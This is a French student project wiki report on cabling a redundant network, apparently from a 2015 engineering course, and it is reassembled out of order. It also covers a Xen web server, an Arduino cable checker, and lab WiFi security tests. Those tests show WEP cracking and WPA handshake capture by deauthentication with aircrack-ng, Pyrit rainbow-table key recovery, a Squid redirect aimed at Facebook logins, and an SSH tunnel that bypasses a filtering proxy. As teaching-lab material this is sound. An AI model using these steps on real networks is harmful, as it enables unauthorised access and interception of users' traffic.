00:23:5E:1E:05:47 -55 3 42 0 7 54e. WEP WEP cracotte08
00:23:5E:1E:05:46 -55 1 67 0 7 54e. WEP WEP cracotte07
00:23:5E:1E:05:42 -56 2 67 0 7 54e. WEP WEP cracotte03
00:23:5E:1E:05:40 -57 2 98 0 7 54e. WEP WEP cracotte01
00:23:5E:1E:05:43 -58 4 99 0 7 54e. WEP WEP cracotte04

BSSID STATION PWR Rate Lost Frames Probe

04:DA:D2:CF:01:90 48:5A:3F:4C:37:61 -1 1e- 0 0 2
00:23:5E:1E:05:45 00:0F:B5:92:23:74 -64 54e-48e 2 21
00:23:5E:1E:05:44 00:0F:B5:92:23:6B -65 48e- 2e 89 9
00:23:5E:1E:05:47 00:0F:B5:92:23:71 -67 54e-54e 39 37
00:23:5E:1E:05:46 00:0F:B5:92:23:69 -63 48e-54e 6 63
00:23:5E:1E:05:42 00:0F:B5:92:23:6A -60 48e-54e 9 59
00:23:5E:1E:05:40 00:0F:B5:92:22:68 -55 36e-48e 9 94
00:23:5E:1E:05:43 00:0F:B5:92:23:75 -58 48e- 2e 145 93
</pre>
Notre cible étant le réseau "cracotte07", nous spécifions donc le canal et l'ESSID
<pre>
#airodump-ng --essid cracotte07 --channel 7 -w dmp wlan3mon
CH 7 ][ Elapsed: 3 mins ][ 2015-11-12 12:03

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:23:5E:1E:05:46 -64 17 1603 46339 201 7 54e. WEP WEP cracotte07
</pre>
Le monitoring du réseau est donc lancé. Pendant ce temps, nous lançons le décryptage avec aircrack.
<pre>
#aircrack-ng *.cap
Opening dmp-01.cap
Read 110082 packets.

# BSSID ESSID Encryption

1 00:23:5E:1E:05:46 cracotte07 WEP (6190 IVs)

Choosing first network as target.

Opening dmp-01.cap
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 6258 ivs.
</pre>
Ensuite, nous générons plus de flux à l'aide de aireplay.
<pre>
#aireplay-ng -5 -e cracotte07 wlan3mon
No source MAC (-h) specified. Using the device MAC (00:11:95:E5:0D:F0)
12:02:11 Waiting for beacon frame (ESSID: cracotte07) on channel 7
Found BSSID "00:23:5E:1E:05:46" to given ESSID "cracotte07".
12:02:11 Waiting for a data packet...

Size: 70, FromDS: 0, ToDS: 1 (WEP)

BSSID = 00:23:5E:1E:05:46
Dest. MAC = FF:FF:FF:FF:FF:FF
Source MAC = 00:0F:B5:92:23:69

0x0000: 8841 2c00 0023 5e1e 0546 000f b592 2369 .A,..#^..F....#i
0x0010: ffff ffff ffff c014 0000 f898 0e00 8065 ...............e
0x0020: 7e87 af6b e679 211e c9d6 1665 0b4f 7e2d ~..k.y!....e.O~-
0x0030: 6cf8 2da9 f0f8 3f96 d831 539a 2f9e ef35 l.-...?..1S./..5
0x0040: b7bd 03c5 5093 ....P.

Use this packet ? y

Saving chosen packet in replay_src-1112-120211.cap
12:02:13 Data packet found!
12:02:13 Sending fragmented packet
</pre>
Et enfin, aircrack trouve la clé.
<pre>
Aircrack-ng 1.2 rc2

[00:02:12] Tested 853 keys (got 40800 IVs)

KB depth byte(vote)
0 0/ 9 55(53248) FD(49664) 1F(47872) 7E(47616) 11(47360) D9(47360) F5(46848) 58(46592) 1E(46336) EE(46336) B0(46080) 20(45824) 93(45824) CD(45824) 0A(45568) 81(45568)
1 0/ 1 52(61952) 07(50176) 1E(49152) E4(49152) 11(48640) 38(48640) 5F(48640) 33(48128) A7(47360) AB(47360) 46(47104) E1(47104) ED(47104) 20(46848) 23(46592) 4D(46592)
2 0/ 1 55(60160) 27(47872) 3A(47616) 3D(47616) 45(47616) C4(47616) 05(47360) 70(47104) 99(47104) 4D(46336) E1(46336) 23(46080) 69(46080) 83(46080) 31(45824) 6A(45824)
3 13/ 3 79(46848) 2C(46592) 5E(46592) 1E(46080) 34(46080) 03(45824) 12(45824) 08(45568) AD(45568) B9(45568) 64(45312) 9B(45312) CE(45312) FB(45312) 74(44800) C0(44800)
4 1/ 4 CB(48896) 12(47872) 22(47872) E0(47872) FE(47872) 98(47360) ED(47360) 60(46848) 78(46848) 96(46848) 9A(46848) 6C(46592) 21(46080) 38(46080) A1(46080) 16(45824)

KEY FOUND! [ 55:55:55:55:55:55:55:55:55:51:11:11:11 ]
Decrypted correctly: 100%
</pre>
==== Accès par filtrage WPA ====
L'accès à un réseau protégé par une clé WPA est plus complexe car aircrack n'est pas capable de trouver la clé par ses propres moyens. Il est nécessaire de lui fournir un dictionnaire contenant la clé de réseau pour espérer pouvoir s'y connecter. Nous avons donc commencé par générer un dictionnaire comprenant certaines clés (dans notre cas, tout les nombres à 8 chiffres). Le script Perl générant le dictionnaire est le suivant.
<pre>
#!/usr/bin/perl
my $ite = 0;
my $max = 1000000;
my $outp;
my $tmp;
for (my $j=0; $j < 100; $j++)
{
$tmp = sprintf("[%02d]\n", $j);
print STDERR $tmp;
for (my $i=0; $i < ($max); $i++)
{
$outp = sprintf("%08d\n", $ite);
$ite++;
print $outp;
}
}
</pre>
Nous lançons donc la génération avec la commande
<pre>
# ./gen.pl > dic.txt
</pre>
Le dictionnaire est ainsi généré. Cependant, la taille du dictionnaire est légèrement importante.
<pre>
859M -rw-r--r-- 1 root root 859M nov. 13 09:41 dic.txt
</pre>
Ensuite, après avoir passé l'interface en mode monitoring (de la même façon que pour les attaques précédentes), nous lançons notre surveillance du réseau "Almost Secure WiFi".
<pre>
# airodump-ng --channel 6 --essid "Almost Secure WiFI" -w dmp wlan1
</pre>
Puis, nous désauthentifions les clients déjà connectés pour récupérer le "handshake" qui permettra le décryptage de la clé.
<pre>
# aireplay-ng -0 5 -e "Almost Secure WiFI" wlan1
</pre>
Une fois la désauthentification envoyée, nous récupérons le "handshake" durant la reconnection des clients.
<pre>
# aircrack-ng *.cap
Opening dmp-01.cap
Read 2370 packets.
# BSSID ESSID Encryption

1 00:13:46:79:6A:1C Almost Secure WiFI WPA (1 handshake)
</pre>
=====Attaque par dictionnaire=====
A partir du moment où nous disposons du "handshake", deux options s'offrent à nous. La première consiste à réaliser une attaque par dictionnaire (celui que nous avons généré). Commençons donc par cette attaque.
<pre>
# aircrack-ng -w dico.txt *.cap
Aircrack-ng 1.2 beta3
[00:58:30] 12121212 keys tested (3659.24 k/s)
KEY FOUND! [ 12121212 ]
Master Key : 8E 68 0C AB 07 0F F7 AD 0D 6A 04 A0 DB F5 A0 62
F8 39 26 F0 B4 C2 42 23 9E 11 5A 6B E2 39 A3 45
Transient Key : CE 6D 03 71 74 1D 39 B3 35 8A 24 D5 7D 39 76 DF
68 5B D5 CC 79 C5 6F 64 A3 A9 84 D2 36 19 7A F8
45 70 AF 3E 41 15 86 E3 2F 8C 5E 2E 5C F8 98 28
A6 FC DE 27 68 50 07 55 77 6F 83 9D B3 44 32 7E
EAPOL HMAC : 8D 45 38 2F 02 E5 F9 0B 4B 92 EB E9 6B FF B6 EE
</pre>
Cete attaque, bien que parfaitement fonctionnelle, ne permet pas d'obtenir la clé rapidement. La vitesse de test des clés est fixe et ne dépend que de la performance du processeur. Dans notre cas (Intel i5-2400 @ 3.1 GHz) notre vitesse de test est de 3600 clés par seconde.
=====Attaque par Rainbow Tables=====
Pour réaliser l'attaque par par rainbow table, nous utiliserons le logiciel PyRit. C'est un logiciel codé en Python qui permet l'attaque de PMK (qui donne le mot de passe du réseau WiFi) plus efficacement que Aircrack. En attaque par dictionnaire classique, sur matériel équivalent (c'est à dire Intel i5-2400 @ 3.1 GHz), PyRit est légérement plus performant que Aircrack en passant d'une moyenne de 3600 PMK/s à 5200 PMK/s. L'intérêt d'utiliser une "rainbow table" est de générer une table valable pour un seul SSID (voir la partie suivante) qui permettra de comparer les PMK plus rapidement. Pour cela, nous allons commencer par ajouter le nom de notre réseau WiFi (aussi appelé ESSID) à PyRit.
<pre>
# pyrit -e 'Almost Secure WiFI' create_essid
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Connecting to storage at 'file://'... connected.
Created ESSID 'Almost Secure WiFI'
</pre>
Ensuite, nous ajoutons le dictionnaire qui permettra la génération de la "rainbow table". On remarqera que cette étape prend entre 5 à 10 secondes.
<pre>
# pyrit -i ./dic.txt import_passwords
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Connecting to storage at 'file://'... connected.
100000000 lines read. Flushing buffers... ..
All done.
</pre>
Maintenant, nous devons générer la "rainbow table". Cette partie est extrêmement longue et utilise le processeur au maximum de ses possibilités. Il est important de noter que pendant cette phase, le processeur chauffe énormément, une bonne ventilation du PC est donc obligatoire.
<pre>
# pyrit batch
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Connecting to storage at 'file://'... connected.
Working on ESSID 'Almost Secure WiFI'
Processed 3/1536 workunits so far (0.2%); 5174 PMKs per second.
</pre>
On voit que PyRit calcule les PMK à 5200 clés par secondes. Bien que plus importante qu'avec Aircrack, cette vitesse reste assez faible. Pour augmenter la vitesse de calcul, nous allons utiliser la carte graphique disponible dans l'ordinateur. Pour cela, nous avons installer les drivers nécessaires et ajouté les outils Cuda pour que la carte graphique (NVidia GTX 560) puisse effectuer les calculs. Nous avons donc effectué un court benchmark pour constater les améliorations des performances.
<pre>
# pyrit benchmark
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Running benchmark (25147.5 PMKs/s)... \

Computed 25147.53 PMKs/s total.
#1: 'OpenCL-Device 'GeForce GTX 560'': 23696.7 PMKs/s (RTT 2.8)
#2: 'CPU-Core (SSE2)': 983.3 PMKs/s (RTT 3.0)
#3: 'CPU-Core (SSE2)': 975.5 PMKs/s (RTT 3.0)
#4: 'CPU-Core (SSE2)': 972.8 PMKs/s (RTT 3.0)
</pre>
Avec une vitesse de 25000 PMK/s, nous lançons la génération de la "rainbow table" qui prendra environ une heure.
<pre>
# pyrit batch
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Connecting to storage at 'file://'... connected.
Working on ESSID 'Almost Secure WiFI'
Processed 95/1536 workunits so far (6.2%); 26045 PMKs per second.
</pre>
Maintenant que la "rainbow table" est générée, nous lançons l'attaque.
<pre>
# pyrit -r *.cap attack_batch
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Connecting to storage at 'file://'... connected.
Parsing file 'dmp-01.cap' (1/1)...
Parsed 270 packets (270 802.11-packets), got 1 AP(s)

Picked AccessPoint 00:13:46:79:6a:1c ('Almost Secure WiFI') automatically.
Attacking handshake with station 00:0c:e7:41:68:29
Tried 6001009 PMKs so far (5.9%); 11875239 PMKs per second

The password is '12121212'.
</pre>
Le mot de passe est alors affiché. Le temps nécessaire à l'obtention de la clé est d'une quinzaine de secondes. La vitesse de calcul des PMK est en moyenne de 7 millions de PMKs par secondes avec des pics à 11 millions de PMKs par secondes lors de l'accès à des zones du disque en cache. L'attaque par "rainbow tables" est donc largement plus performante.

=====Algorithme de génération de PMK=====
Pour trouver le mot de passe d'un réseau WiFi protégé par du WPA, il est nécessaire de générer la PMK (Pairwise Master Key) correspondant au nom du réseau WiFi ciblé. En effet, l'algorithme de génération de la PMK (nommé PBKDF2) prend comme salage l'ESSID.
<pre>
PMK = PBKDF2(HMAC-SHA1, PASSWORD, ESSID, 4096, 256)
</pre>
La fonction PBKDF2 (dont le nom complet est Password-Based Key Derivation Function 2) est une fonction de dérivation de clés publié par le laboratoire PKCS des laboratoires RSA. Elle est aussi maintenue par le [https://tools.ietf.org/html/rfc2898 RFC 2898] de l'IETF. Cette fonction s'utilise en combinaison d'une autre fonction. Cette autre fonction doit être de type pseudo-aléatoire pour permettre la création de clés cryptographiques. Les paramètres de cette fonction PBKDF2 sont donc:
*[PRF] La fonction pseudo-aléatoire (ici HMAC-SHA1)
*[PASSWORD] Le mot de passe
*[SALT] Le salage (ici l'ESSID)
*[COUNT] Le nombre d'itération de la fonction PBKDF2 (ici 4096)
*[LEN] La longueur du résultat de la fonction (ici 256)
La résultat de la fonction est le résultat de la succession d'opération XOR, un nombre de fois déterminé par COUNT, à travers l'algorithme PFR.
<pre>
PBKDF2(PRF, PASSWORD, SALT, COUNT, LEN) = U1 ^ U2 ^ ... ^ Ucount
</pre>
Où les "Un" sont égales à: (ici, IMT_32_BE est la valeur de LEN convertie sur un INT codé sur 32 bits en Big Endian.
<pre>
U1 = PRF(PASSWORD, SALT || INT_32_BE(LEN))
U2 = PRF(PASSWORD, U1)
...
Uc = PRF(PASSWORD, Ucount-1)
</pre>
Maintenant, intéressons nous à la PRF, ici la fonction HMAC-SHA1. Elle est composée de deux fonctions: HMAC et SHA1. Nous traiterons le SHA1 par la suite. La fonction HMAC de son vrai nom keyed-Hash Message Authentication Code) permet de vérifier l'authenticité et l'intégrité d'un message. Elle est maintenue par le [https://tools.ietf.org/html/rfc2104 RFC 2104] de l'IETF Elle se repose elle aussi sur une autre fonction pour assurer son fonctionnement (comme le PBKDF2). Cependant, la fonction cryptographique utilisé n'influe pas sur sa capacité à vérifier l'authenticité et l'intégrité d'un message. Les paramètres de la fonction HMAC sont les suivants:
*[KEY] la clé utilisée pour encoder le message
*[MSG] le message à encoder
*[H] la fonction qui va être utilisé pour encoder le message (ici, nous utiliserons SHA1)
*[HLEN] le longueur du résultat fourni par H (dans notre cas HLEN vaut 64 octets)
Le principe de fonctionnement est le suivant:
<pre>
function HMAC(KEY, MSG, H, HLEN)
if(length(KEY) > HLEN)
KEY = H(KEY) // Si la clé est trop grande, elle est réduite par H
if(length(KEY) < HLEN)
KEY = KEY || (0x00 * (HLEN - LENGTH(KEY)))

opad_key = (opad * HLEN) ^ KEY;
ipad_key = (ipad * HLEN) ^ KEY;

return H(opad_key || H(ipad_key || MSG)
</pre>
Dans cette fonction:
*L'opérateur || désigne la concaténation directe tel que "J'aime le"||" poulet" est égale à "J'aime le poulet"
*L'opérateur * désigne la répétition de l'élément tel que "J"*4 est égale à "JJJJ"
*L'opérateur ^ désigne l'opérateur XOR logique
*La variable opad est une constance valant 0x5C
*La variable ipad est une constance valant 0x36
Finalement, intéressons nous à la fonction SHA1. Celle-ci a été développé par la National Security Agency (NSA). C'est une fonction (ou algorithme) dit asymétrique: c'est à dire que l'argument qui lui est passé ne peut pas être retrouvé à l'aide du résultat. La fonction ne prend donc qu'un seul paramètre.
<pre>
function SHA1(PASS)
h0 = 0x67452301
h1 = 0xEFCDAB89
h2 = 0x98BADCFE
h3 = 0x10325476
h4 = 0xC3D2E1F0
ml = message length in bits (always a multiple of the number of bits in a character).

append the bit '1' to the message e.g. by adding 0x80 if message length is a multiple of 8 bits.
append 0 ≤ k < 512 bits '0', such that the resulting message length in bits is congruent to −64 ≡ 448 (mod 512)
append ml, in a 64-bit big-endian integer. Thus, the total length is a multiple of 512 bits.

break message into 512-bit chunks
for each chunk
break chunk into sixteen 32-bit big-endian words w[i], 0 ≤ i ≤ 15

//Extend the sixteen 32-bit words into eighty 32-bit words:
for i from 16 to 79
w[i] = (w[i-3] xor w[i-8] xor w[i-14] xor w[i-16]) leftrotate 1

//Initialize hash value for this chunk:
a = h0
b = h1
c = h2
d = h3
e = h4

//Main loop
for i from 0 to 79
if 0 ≤ i ≤ 19 then
f = (b and c) or ((not b) and d)
k = 0x5A827999
else if 20 ≤ i ≤ 39
f = b xor c xor d
k = 0x6ED9EBA1
else if 40 ≤ i ≤ 59
f = (b and c) or (b and d) or (c and d)
k = 0x8F1BBCDC
else if 60 ≤ i ≤ 79
f = b xor c xor d
k = 0xCA62C1D6

temp = (a leftrotate 5) + f + e + k + w[i]
e = d
d = c
c = b leftrotate 30
b = a
a = temp

//Add this chunk's hash to result so far:
h0 = h0 + a
h1 = h1 + b
h2 = h2 + c
h3 = h3 + d
h4 = h4 + e

//Produce the final hash value (big-endian) as a 160 bit number:
hh = (h0 leftshift 128) or (h1 leftshift 96) or (h2 leftshift 64) or (h3 leftshift 32) or h4
</pre>
===Attaque Man In the Middle de Facebook===
Squirm ne marche pas ... D'un autre coté, en 1999 c'était peut être la mode.

Config Squid
<pre>
acl allowedips src 172.16.1.0/24
http_access allow allowedips
forwarded_for off
http_access deny all
cache_access_log /var/log/squid3/access.log
cache_log /var/log/squid3/cache.log
cache_store_log /var/log/squid3/store.log
cache_dir ufs /var/spool/squid3 100 16 256
cache_mem 16 MB
maximum_object_size 15 MB
http_port 3128
cache_effective_group root
url_rewrite_program /usr/bin/squidGuard
shutdown_lifetime 1 second
</pre>
Config Squidguard
<pre>
dbhome /usr/local/squidGuard/db

dest fb-login {
urllist facebook/url
}

acl {
default {
pass !fb-login all
redirect http://127.0.0.1/
}
}
</pre>
cat /usr/local/squidGuard/db/facebook/url
<pre>
fr-fr.facebook.com
</pre>

===Contournement d'un proxy===
Lors de certains événements, il est nécessaire de disposer d'un accès Internet complet, sans aucune limitation. Dans le cadre de la compétition "La nuit de l'info", nous avons été amené à réaliser un dispositif permettant une accès libre à Internet à travers un accès filtré par proxy web à l'aide d'un serveur non filtré. Pour cela, nous avons utilisé une machine dédiée comprenant deux cartes réseaux. Nous avons commencé, après l'installation du système d'exploitation (Debian Jessie) à installer les paquets nécesasires.
<pre>
# apt-get install openssh-server proxytunnel isc-dhcp-server
</pre>
Ensuite, nous avons créé notre fichier de configuration ssh pour un accès plus facile à notre serveur non filtré. On notera qu'il est important que le serveur ssh distant écoute sur le port 443, car c'est l'un des rares ports que le serveur proxy laisse passer.
<pre>
# vim /root/.ssh/config
Host perfectTunnel
Hostname ADRESSE_IP_DE_NOTRE_SERVEUR
User root
Port 443
ProxyCommand proxytunnel -p proxy.nuitinfolille.fr:3128 -d %h:%p
</pre>
Ensuite, nous créons notre script permettant la création d'un tunnel entre notre machine dédiée et notre serveur distant.
<pre>
ssh \
-o PermitLocalCommand=yes \
-o LocalCommand="ifconfig tun5 12.24.48.2 pointopoint 12.24.48.1 netmask 255.255.255.0" \
-o ServerAliveInterval=60 \
-w 5:5 perfectTunnel \
'ifconfig tun5 12.24.48.1 pointopoint 12.24.48.2 netmask 255.255.255.0; echo tunnel ready'
</pre>
Une première vérification nous permet de nous assurer que le tunnel fonctionne correctement.
<pre>
# ping -I tun5 8.8.8.8
PING 8.8.8.8 (8.8.8.8) from 12.24.48.2 tun5: 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=55 time=21.9 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=55 time=17.4 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=55 time=17.3 ms
^C
--- 8.8.8.8 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2002ms
rtt min/avg/max/mdev = 17.383/18.920/21.904/2.110 ms
</pre>
On voit bien que l'interface tun5 peut pinger une IP de Google, on peut donc supposer que son accès à Internet est complet. Nous allons maintenant modifier les routes du serveur pour qu'il utilise cette interface comme passerelle par défaut.
<pre>
# route del default
# route add default gw 12.24.48.1
</pre>
On vérifie que notre machine dédiée peut bien accéder à Internet en totalité.
<pre>
# ping 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=55 time=17.0 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=55 time=16.7 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=55 time=19.4 ms
64 bytes from 8.8.8.8: icmp_seq=4 ttl=55 time=17.5 ms
^C
--- 8.8.8.8 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3004ms
rtt min/avg/max/mdev = 16.758/17.705/19.494/1.084 ms
</pre>
Maintenant que le tunnel fonctionne, il ne reste plus qu'à la partager aux clients. Pour cela, nous commençons par mettre en place en serveur DHCP sur une des cartes réseaux (eth0).
<pre>
# vim /etc/default/isc-dhcp-server
INTERFACES="eth0"

# vim /etc/dhcp/dhcpd.conf
subnet 118.218.0.0 netmask 255.255.0.0 {
range 118.218.1.1 118.218.254.254;
option routers 118.218.0.1;
option subnet-mask 255.255.0.0;
option broadcast-address 118.218.255.255;
option domain-name-servers 8.8.8.8, 8.8.4.4;
}

default-lease-time 600;
max-lease-time 7200;
authoritative;
</pre>
Les clients ont leur IP. Il faut maintenant configurer le serveur pour qu'il effectue la redirection correctement.
<pre>
iptables -A FORWARD -i eth0 -o tun5 -s 118.218.0.0/16 -d 0.0.0.0/0 -j ACCEPT
iptables -A FORWARD -s 0.0.0.0/0 -d 118.218.0.0/16 -j ACCEPT
iptables -t nat -A POSTROUTING -s 118.218.0.0/16 -d 0.0.0.0/0 -j MASQUERADE
</pre>
Et finalement, une dernière commande permet à tout le système de fonctionner: la redirection des packets IPv4 au niveau du noyau.
<pre>
echo 1 > /proc/sys/net/ipv4/ip_forward
</pre>

== La partie bonus ==

Nous souhaitions faire une petite partie bonus en plus du câblage. Nous avons donc décidé de réaliser un système embarqué (nommé CiscoChecker) permettant de tester toutes les connexion de notre réseau et de nous indiquer si un câble est défectueux ou débranché.

Pour cela nous utilisons un arduino auquel nous avons ajouté un écran LCD ainsi qu'un lecteur de carte SD.

=== Utilisation de l'écran LCD ===

Afin d'afficher les résultats de notre test de connexion nous utilisons un shield LCD de chez Sparkfun. Ce dernier nous permettant uniquement de changer la couleur de l’écran complet ou de modifier pixel par pixel. Nous avons donc eu à créer notre propre police d'écriture et à coder tous les caractères pixel par pixel.

Pour cela nous avons choisi de créer des tableaux de caractères pour stocker les pixels correspondants à chaque lettre puis un tableau regroupant toutes nos lettres. Ces données étant trop volumineuses pour être stockées au sein de la mémoire flash de l'arduino, nous les stockons dans la RAM.

Chaque lettre est donc un tableau de caractère dans lequel nous stockons les pixel à changer pour faire notre lettre. Ces lettres sont codées suivant une matrice de 16x8 pixels que nous représentons sous la forme suivante : YX. Ou Y est la position suivant y du pixel codée en hexa et X est la position suivant x, l'origine étant choisie en haut à gauche de la matrice.

Voici à quoi ressemble une de nos lettres :
<pre>
const char letter_A[] PROGMEM = {
0x13,0x22,0x24,0x31,0x35,0x41,0x45,0x50,0x56,0x60,
0x66,0x70,0x71,0x72,0x73,0x74,0x75,0x76,0x80,0x81,
0x82,0x83,0x84,0x85,0x86,0x90,0x96,0xA0,0xA6,0xB0,
0xB6,0xC0,0xC6,0xD0,0xD6,0xE0,0xE6,0x00};
</pre>

Nous avons ensuite une fonction getIndex qui va, pour chaque lettre lue, renvoyer l'index de ce caractère dans notre tableau de lettres afin de pouvoir l'afficher.

Une fois toutes les lettres réalisées il suffit juste de stocker en variables globales la position actuelle en X et en Y et de l'incrémenter à chaque fois que l'on écrit une lettre sans oublier de prendre en compte le retour à la ligne.

Pour le retour à la ligne nous souhaitions avoir un défilement classique de notre texte qui se décale à chaque nouvelle ligne, mais cette méthode demandant de stocker le texte affiché à l'écran est trop gourmande en mémoire. Donc nous nous contentons d'effacer l'écran lorsque l'on arrive au bout.

=== Utilisation du lecteur de carte SD ===

Nous avons besoin d'utiliser une carte SD afin de stocker la configuration de notre réseau, c'est à dire comment sont connectés les câbles au sein de notre réseau. Pour cela on utilise un shield SD de chez Sparkfun.

Après s’être documenté, nous avons choisi de réaliser cette partie à l'aide de l'IDE arduino. Nous voulons utiliser l'IDE arduino car bien que les cartes SD utilisent une communication en SPI ce qui est assez simple à réaliser en C. Lorsque l'on souhaite envoyer des commandes à notre carte SD il faut respecter les spécifications SD qui sont assez complexes. N'ayant trouvé aucune librairie sur le net nous avons choisi de ne pas le faire en C par manque de temps.

Nous utilisons donc un simple programme arduino afin de lire des fichiers présents sur la carte SD.

=== Communication avec le matériel Cisco ===

[[Fichier:ciscoChecker.png|200px|thumb|left]]Afin de pouvoir tester le réseau, notre CiscoChecker doit être connecté via port série à un élément Cisco du réseau. Or nous avons rencontré des problèmes lors de cette communication car ces deux appareils travaillent avec des tensions différentes. Pour régler ce problème nous avons réalisé carte électronique permettant la conversion de cette tension à l'aide d'une puce MAX232N.

Nous avons commencé par étudier le fonctionnement de ce composant. Ensuite, nous avons créé un schéma réalisant la fonction que nous voulions, c'est à dire la conversion d'un signal série issu de l'Arduino vers un signal série utilisable sur le matériel Cisco. Nous avons donc été amené à concevoir l'empreinte d'un connecteur femelle RJ45 de la société Amphenol ([https://www.amphenolcanada.com/ProductSearch/drawings/AC/RJHSE508X.pdf dont la documentation est disponible ici]). Nous avons ensuite utilisé les documents libres fournis par Arduino pour concevoir un shield compatible avec les Arduino Uno.

Après la phase de conception (et quelques améliorations apportés par M. Boe et M. Flamen), nous avons pu lancer en production notre carte. Une fois les composants soudés, nous avons testé la carte. Finalement, celle-ci est à moitié fonctionnelle. En effet, elle est capable d'émettre correctement, mais ne reçoit pas correctement les signaux. Une des hypothèses serait un défaut dans le câblage des LEDs du port RJ45 à cause d'une erreur dans la documentation d'Amphenol (les LEDs ne sont finalement pas bidirectionnelles). Si le temps le permet, un diagnostique plus poussé sera mené sur la carte.

=== Réalisation du code pour les appareil Cisco ===

Dès que la carte électronique fonctionnera correctement, il suffira à celle-ci d'envoyer des commandes au matériel Cisco.
<pre>
show interfaces status | include INAME\
</pre>
Dans notre commande, INAME est le nom de l'interface pour laquelle on désire vérifier la connexion. INAME est directement suivi d'un antislash et d'un espace pour éviter des problèmes de filtrage (exemple: Gi0/30 qui répond à la requête de Gi0/3). La liste des ces interfaces est indiquée sur le carte SD. Chaque matériel Cisco, qui est identifié par le nom qu'il donne lors de l'appuie sur la touche "entrée" possède sa propre liste de connections sur la SD, et ceci en correspondance avec le câblage que nous avons effectué dans le début de notre projet.

PRA 2015 - Câblage d'un réseau redondant

2015-12-10T09:49:32Z

Froyer1 : /* Communication avec le matériel Cisco */

__TOC__
== Introduction ==
Le Projet de Réseau et Administration (PRA) se découpe en deux parties. La première consiste à réaliser le câblage de l'infrastructure et la deuxième à traiter la partie commune du PRA.
== Câblage du résau ==
=== Le réseau idéal ===
Le but de ce projet est de câbler un réseau redondant permettant la mise en place d'une infrastructure réseau haute disponibilité. L'architecture du réseau est donnée sur le diagramme suivant.

[[Fichier:PRA15 - Réseau Idéal.png]]

Quatre liaison fibre assure la robustesse du système (ainsi que son débit). Les fibres 1 et 4 sont reliés depuis un commutateur PolytechLille (considéré comme sortie Internet). Ces fibres permettent d'assurer un débit de 10 Gygabytes. Les fibres 2 et 3 assurent la redondance du système et permettent aux switch de récupérer un débit de 1 Gygabyte auprès des routeurs. Les routeurs et switch d'une même salle (E304 ou E306) sont cablés à l'aide de câbles cuivrés sur des interfaces Gygabytes. Enfin, le serveur Xen est relié au deux switchs à l'aide de câbles cuivrés 1 Gygabyte. Cette architecture permet d'assurer qu'en cas d'un câble défectueux, le réseau continue de fonctionner correctement.

=== L'avancement du cablage du réseau ===

L'image suivante détaille l'état du réseau avant le 07/10/2015.

[[Fichier:PRA15 - Réseau Temporaire.png]]

Au début du PRA, nous ne disposions pas de l'intégralité du matériel. Par conséquent nous avons mis en place un réseau dégradé permettant aux autres groupes de travailler sur leur projet. Nous avons donc utilisé un des cartes 1 Gigabyte pour relier la routeur de la salle E306 à notre arrivée Internet, rendant l'utilisation de la fibre D du fait du faible nombre de GBIC 1 Gigabyte. De plus, comme il nous manquait un raccord de fibre pour la fibre B, nous avons utilisé un câble cuivré pour lier le routeur de la E306 au switch de la E304. La liaison au Xen était donc assuré par un seul lien cuivré entre celui-ci et le switch de la E306.

== La partie commune ==
=== Création d'un site Web haute disponibilité ===
==== Installation de la machine virtuelle ====
D'après notre sujet, notre site Web devait être hébergé sur une machine virtuelle fonctionnant sur le serveur que nous avions rendu redondant précédemment. Nous avons donc commencé par créer cette machine virtuelle, nommée "kwak". Notre hôte est un serveur Xen 3.0.
<pre>
# cat /etc/xen/kwak.cfg
kernel = '/boot/vmlinuz-3.14-2-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-3.14-2-amd64'
vcpus = '1'
memory = '512'
root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/kwak/disk.img,xvda2,w',
'file:/usr/local/xen/domains/kwak/swap.img,xvda1,w',
]
name = 'kwak'
vif = [ 'ip=193.48.57.167 ,mac=00:16:3E:FF:C3:C5 ,bridge=IMA5sc' ]
on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'
</pre>
Ensuite, nous démarrons notre machine virtuelle.
<pre>
# xl create /etc/xen/kwak.cfg
</pre>
Nous nous connectons alors à la machine (soit en ssh soit avec la console Xen).
<pre>
# xl console kwak
</pre>
Enfin, nous installons les services dont nous allons avoir besoin par la suite.
<pre>
# apt-get install apache2 bind
</pre>

==== Mise en place du service web ====
Pour réaliser notre site web, nous avons commencé par créer une page web basée sur notre nom de domaine: [http://pinkfluffyunicorn.lol pinkfluffyunicorn.lol]
<pre>
<!DOCTYPE>
<html>
<head>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js"></script>
</head>
<body>
<iframe style="position:absolute;top:0px;left:0px;" id="video" src="https://www.youtube.com/embed/qRC4Vk6kisY?autoplay=1&showinfo=0&showsearch=0&iv_load_policy=3&autoplay=1" frameborder="0" allowfullscreen></iframe>
<script>
$(function(){$('#video').css({ width: $(window).innerWidth() + 'px', height: '100%' });
$(window).resize(function(){$('#video').css({ width: $(window).innerWidth() + 'px', height: '100%' });});
});
</script>
</body>
</html>
</pre>

=== Tests de sécurisation de réseaux WiFi ===
==== Accès par filtrage MAC ====
